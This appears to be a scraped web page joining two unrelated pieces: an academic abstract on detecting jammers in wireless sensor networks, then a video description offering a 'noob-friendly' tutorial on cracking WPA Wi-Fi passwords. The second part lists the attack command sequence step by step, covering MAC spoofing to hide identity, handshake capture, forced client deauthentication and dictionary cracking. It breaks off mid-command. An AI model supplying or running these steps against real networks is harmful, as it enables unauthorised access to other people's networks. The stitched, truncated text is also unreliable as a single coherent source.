info@thebookmyproject.com www.thebookmyproject.com To know more : www.thebookmyproject.com Abstract We consider a scenario where a sophisticated jammer jams an area in a single-channel wireless sensor network. The jammer controls the probability of jamming and transmission range to cause maximal hurt to the network in terms of corrupted communication links. The jammer action ceases when it is detected by a monitoring node in the network, and a notification message is transferred out of the jamming region. The jammer is detected at a monitor node by employing an optimal detection test based on the percentage of incurred collisions. On the other hand, the network computes channel access probability in an effort to minimize the jamming detection plus notification time. In order for the jammer to optimize its benefit, it needs to know the network channel access probability and number of neighbors of the monitor node. Accordingly, the network needs to know the jamming probability of the jammer. We study the idealized case of perfect knowledge by both the jammer and the network about the strategy of one another, and the case where the jammer or the network lack this knowledge. The latter is captured by formulating and solving optimization problems, the solutions of which constitute best responses of the attacker or the network to the worst-case strategy of each other. We also take into account potential energy constraints of the jammer and the network. We extend the problem ...Video Rating: 0 / 5
This is very simple(Noob-Friendly) yet detailed tutorial on how to hack WPA-Secured wireless network passwords. This video shows how to do it on a Windows OS(XP, Vista, 7) or a Linux OS. There are two reasons why I used a virtual OS rather then running the cracking tool locally in a Windows environment; 1 - I want this tutorial to help not only Windows-Users but also Linux-Users and 2 - Compatibility issues are very common with airmon-ng when using in the Windows Environment and will not only limit the amount of people who are able to do it but also complicate the procedure for beginners. - Commands Used: airmon-ng (Shows connected network adapters/devices) macchanger -s [INTERFACE] (Shows our current Mac Address) macchanger -m [DESIRED MAC] [INTERACE] (Spoofs our Mac Address to hide our identity) airodump-ng [INTERFACE] (Shows available networks on your network adapter) airodump-ng --bssid [Mac of Router] -w [FILENAME] -c [CHANNEL] [ADAPTER] (Writes intercepted/sniffed IV's to a CAP document. The bssid specifies the Mac Address of the Access Point you are wanting to crack so the Mac Address should differ from what I use. The Channel may also differ depending on what's showed for you. Same goes for the network adapter. This will only be useful if a Handshake is done) aireplay-ng -0 15 -a [MAC OF ROUTER] -c [MAC OF SYSTEM ON NETWORK] [ADAPTER] (Deauthenticates client and obtains a handshake) aircrack-ng -e [ESSID - Name of network] -w [WORDLIST] [FILENAME.cap ...
